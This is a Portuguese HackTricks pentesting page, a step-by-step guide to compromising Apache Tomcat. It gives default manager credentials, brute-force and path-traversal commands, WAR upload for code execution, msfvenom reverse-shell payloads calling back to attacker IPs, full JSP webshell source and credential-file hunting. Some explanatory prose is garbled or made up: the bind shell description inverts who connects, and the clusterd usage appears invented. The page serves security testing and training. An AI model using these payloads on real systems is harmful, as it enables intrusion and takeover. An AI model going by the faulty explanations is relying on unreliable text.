# Tomcat
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
Encontre vulnerabilidades que são mais importantes para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha de tecnologia, desde APIs até aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje. {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} *** ## Descoberta * Geralmente é executado na **porta 8080** * **Erro comum do Tomcat:**
## Enumeração ### Versão ```bash curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat Apache Tomcat 9 (9.0.30) - Documentation Index use auxiliary/scanner/http/tomcat_enum ``` ### Credenciais padrão O caminho mais interessante do Tomcat é _**/manager/html**_, dentro desse **caminho você pode fazer upload e implantar arquivos war** (executar código). Mas esse caminho é protegido por autenticação básica HTTP, as credenciais mais comuns são: * admin:admin * tomcat:tomcat * admin:\ * admin:s3cr3t * tomcat:s3cr3t * admin:tomcat Você pode testar essas e outras usando: ```bash msf> use auxiliary/scanner/http/tomcat_mgr_login ``` Outro caminho interessante do Tomcat é /manager/status, onde você pode ver a versão do sistema operacional e do Tomcat. Isso é útil para encontrar vulnerabilidades que afetam a versão do Tomcat quando você não consegue acessar /manager/html. ### Bruteforce ```bash hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html msf6 auxiliary(scanner/http/tomcat_mgr_login) > set VHOST tomacat-site.internal msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8180 msf6 auxiliary(scanner/http/tomcat_mgr_login) > set stop_on_success true msf6 auxiliary(scanner/http/tomcat_mgr_login) > set rhosts ``` ## Vulns ### Divulgação de rastreamento de senha Tente acessar `/auth.jsp` e, se tiver muita sorte, **poderá divulgar a senha em um rastreamento**. ### Codificação de URL dupla Uma vulnerabilidade conhecida _para_ acessar o gerenciador de aplicativos \_\_ é o mod\_jk no CVE-2007-1860, que permite **travessia de caminho com codificação de URL dupla**. Para acessar a interface web de gerenciamento do Tomcat, vá para: _pathTomcat/%252E%252E/manager/html_ Leve em consideração que, para fazer upload do webshell, você pode precisar usar o truque de codificação de URL dupla e enviar também um cookie e/ou um token SSRF.\ Para acessar a porta dos fundos, você também pode precisar usar o truque de codificação de URL dupla. ### /examples Os seguintes scripts de exemplo que vêm com o Apache Tomcat v4.x - v7.x podem ser usados por atacantes para obter informações sobre o sistema. Esses scripts também são conhecidos por serem vulneráveis a injeção de script entre sites (XSS) (de [aqui](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)). * /examples/jsp/num/numguess.jsp * /examples/jsp/dates/date.jsp * /examples/jsp/snp/snoop.jsp * /examples/jsp/error/error.html * /examples/jsp/sessions/carts.html * /examples/jsp/checkbox/check.html * /examples/jsp/colors/colors.html * /examples/jsp/cal/login.html * /examples/jsp/include/include.jsp * /examples/jsp/forward/forward.jsp * /examples/jsp/plugin/plugin.jsp * /examples/jsp/jsptoserv/jsptoservlet.jsp * /examples/jsp/simpletag/foo.jsp * /examples/jsp/mail/sendmail.jsp * /examples/servlet/HelloWorldExample * /examples/servlet/RequestInfoExample * /examples/servlet/RequestHeaderExample * /examples/servlet/RequestParamExample * /examples/servlet/CookieExample * /examples/servlet/JndiServlet * /examples/servlet/SessionExample * /tomcat-docs/appdev/sample/web/hello.jsp ### Traversão de caminho (..;/) Em algumas [**configurações vulneráveis do Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/), você pode obter acesso a diretórios protegidos no Tomcat usando o caminho: `/..;/` Portanto, por exemplo, você pode ser capaz de **acessar a página do gerenciador do Tomcat** acessando: `www.vulnerable.com/lalala/..;/manager/html` **Outra maneira** de contornar caminhos protegidos usando esse truque é acessar `http://www.vulnerable.com/;param=value/manager/html` ## RCE Por fim, se você tiver acesso ao Gerenciador de Aplicativos da Web do Tomcat, poderá **fazer upload e implantar um arquivo .war (executar código)**. ### Limitações Você só poderá implantar um WAR se tiver **privilégios suficientes** (funções: **admin**, **manager** e **manager-script**). Esses detalhes podem ser encontrados em _tomcat-users.xml_, geralmente definido em `/usr/share/tomcat9/etc/tomcat-users.xml` (varia entre as versões) (veja a seção [POST](tomcat.md#post)). ```bash # tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed # deploy under "path" context path curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell" # undeploy curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell" ``` ### Metasploit O Metasploit é uma poderosa ferramenta de teste de penetração que permite aos hackers explorar vulnerabilidades em sistemas e redes. Ele fornece uma ampla gama de módulos e exploits que podem ser usados para comprometer sistemas alvo. O Metasploit é altamente personalizável e oferece uma interface de linha de comando e uma interface gráfica do usuário para facilitar o uso. Ele suporta uma variedade de plataformas e é amplamente utilizado por profissionais de segurança e hackers éticos para testar a segurança de sistemas e redes. ```bash use exploit/multi/http/tomcat_mgr_upload msf exploit(multi/http/tomcat_mgr_upload) > set rhost msf exploit(multi/http/tomcat_mgr_upload) > set rport msf exploit(multi/http/tomcat_mgr_upload) > set httpusername msf exploit(multi/http/tomcat_mgr_upload) > set httppassword msf exploit(multi/http/tomcat_mgr_upload) > exploit ``` ### Shell Reverso MSFVenom O shell reverso é uma técnica comumente usada em testes de penetração para obter acesso remoto a um sistema comprometido. O MSFVenom é uma ferramenta poderosa que permite gerar payloads personalizados para explorar vulnerabilidades em um servidor web. Para criar um payload de shell reverso usando o MSFVenom, você pode usar o seguinte comando: ```bash msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war > shell.war ``` Neste comando, você precisa substituir `` pelo seu endereço IP e `` pela porta que deseja usar para a conexão reversa. Depois de executar o comando, o MSFVenom irá gerar um arquivo WAR chamado `shell.war`, que contém o payload de shell reverso. Esse arquivo pode ser implantado em um servidor Tomcat para explorar uma vulnerabilidade e estabelecer uma conexão reversa com o sistema comprometido. Uma vez que a conexão reversa seja estabelecida, você poderá executar comandos no sistema comprometido remotamente, obtendo controle total sobre ele. É importante lembrar que o uso de técnicas de hacking como o shell reverso é ilegal sem permissão adequada. Essas técnicas devem ser usadas apenas para fins legítimos, como testes de penetração autorizados. ```bash msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.0.41 LPORT=80 -f war -o revshell.war ``` Em seguida, **faça o upload do arquivo `revshell.war` e acesse-o (**_**/revshell/**_**)** ### Conexão de shell reversa e bind com [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer) Em alguns cenários, isso não funciona (por exemplo, versões antigas do sun) #### Baixar ```bash git clone https://github.com/mgeeky/tomcatWarDeployer.git ``` Um shell reverso é uma técnica usada em testes de penetração para obter acesso remoto a um sistema comprometido. Em vez de estabelecer uma conexão direta com o sistema alvo, o shell reverso permite que o atacante estabeleça uma conexão de saída do sistema comprometido para um servidor controlado por ele. Isso permite que o atacante execute comandos no sistema comprometido e obtenha acesso remoto completo. O shell reverso é frequentemente usado para contornar firewalls e outras medidas de segurança, pois a conexão é iniciada do sistema comprometido para o servidor controlado pelo atacante. ```bash ./tomcatWarDeployer.py -U -P -H -p :/manager/html/ ``` Um shell de bind é um tipo de backdoor que permite que um invasor se conecte a um sistema comprometido e execute comandos remotamente. Ao contrário de um shell reverso, onde o invasor se conecta ao sistema comprometido, um shell de bind aguarda que o sistema comprometido se conecte a ele. Para criar um shell de bind, o invasor precisa explorar uma vulnerabilidade no sistema alvo e implantar um payload que estabeleça uma conexão de rede. Isso permite que o invasor acesse o sistema comprometido e execute comandos como se estivesse interagindo diretamente com o terminal. Um shell de bind pode ser usado para várias atividades maliciosas, como roubo de dados, instalação de malware adicional ou até mesmo assumir o controle total do sistema comprometido. É importante estar ciente dos riscos associados a um shell de bind e implementar medidas de segurança adequadas para proteger sistemas contra ataques desse tipo. ```bash ./tomcatWarDeployer.py -U -P -p :/manager/html/ ``` ### Usando [Culsterd](https://github.com/hatRiot/clusterd) O Culsterd é uma ferramenta útil para testar a segurança de servidores web Apache Tomcat. Ele fornece uma série de módulos que podem ser usados para explorar vulnerabilidades conhecidas no Tomcat e obter acesso não autorizado ao servidor. #### Instalação Para instalar o Culsterd, siga as etapas abaixo: 1. Clone o repositório do Culsterd do GitHub: ``` git clone https://github.com/hatRiot/clusterd.git ``` 2. Navegue até o diretório do Culsterd: ``` cd clusterd ``` 3. Instale as dependências do Culsterd: ``` pip install -r requirements.txt ``` #### Uso básico Depois de instalar o Culsterd, você pode começar a usá-lo para testar a segurança do Tomcat. Aqui estão alguns comandos básicos que você pode usar: - Para verificar se um servidor Tomcat é vulnerável a um ataque de vazamento de informações: ``` clusterd.py tomcat_leak -t -p ``` Substitua `` pelo endereço IP ou nome de domínio do servidor Tomcat e `` pela porta em que o Tomcat está sendo executado. - Para explorar uma vulnerabilidade conhecida no Tomcat e obter acesso não autorizado: ``` clusterd.py tomcat_exploit -t -p -u -P ``` Substitua `` pelo endereço IP ou nome de domínio do servidor Tomcat, `` pela porta em que o Tomcat está sendo executado, `` pelo nome de usuário desejado e `` pela senha desejada. #### Conclusão O Culsterd é uma ferramenta poderosa para testar a segurança do servidor web Apache Tomcat. Ao usar o Culsterd de forma responsável e ética, você pode identificar e corrigir vulnerabilidades em seu servidor Tomcat, garantindo assim a segurança de seus aplicativos web. ```bash clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows ``` ### Método manual - Web shell Crie o arquivo **index.jsp** com este [conteúdo](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp): ```java
<%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); String output = ""; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd,null,null); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s+"
"; } } catch(IOException e) { e.printStackTrace(); } } %>
<%=output %>
``` ```bash mkdir webshell cp index.jsp webshell cd webshell jar -cvf ../webshell.war * webshell.war is created # Upload it ``` Você também pode instalar isso (permite upload, download e execução de comandos): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html) ### Método Manual 2 Obtenha um web shell JSP como [este](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) e crie um arquivo WAR: ```bash wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp zip -r backup.war cmd.jsp # When this file is uploaded to the manager GUI, the /backup application will be added to the table. # Go to: http://tomcat-site.local:8180/backup/cmd.jsp ``` ## POST O nome do arquivo de credenciais do Tomcat é _tomcat-users.xml_. ```bash find / -name tomcat-users.xml 2>/dev/null ``` Outras maneiras de obter credenciais do Tomcat: ```bash msf> use post/multi/gather/tomcat_gather msf> use post/windows/gather/enum_tomcat ``` ## Outras ferramentas de varredura do Tomcat * [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)
Encontre vulnerabilidades que são mais importantes para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha de tecnologia, desde APIs até aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje. {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? Ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.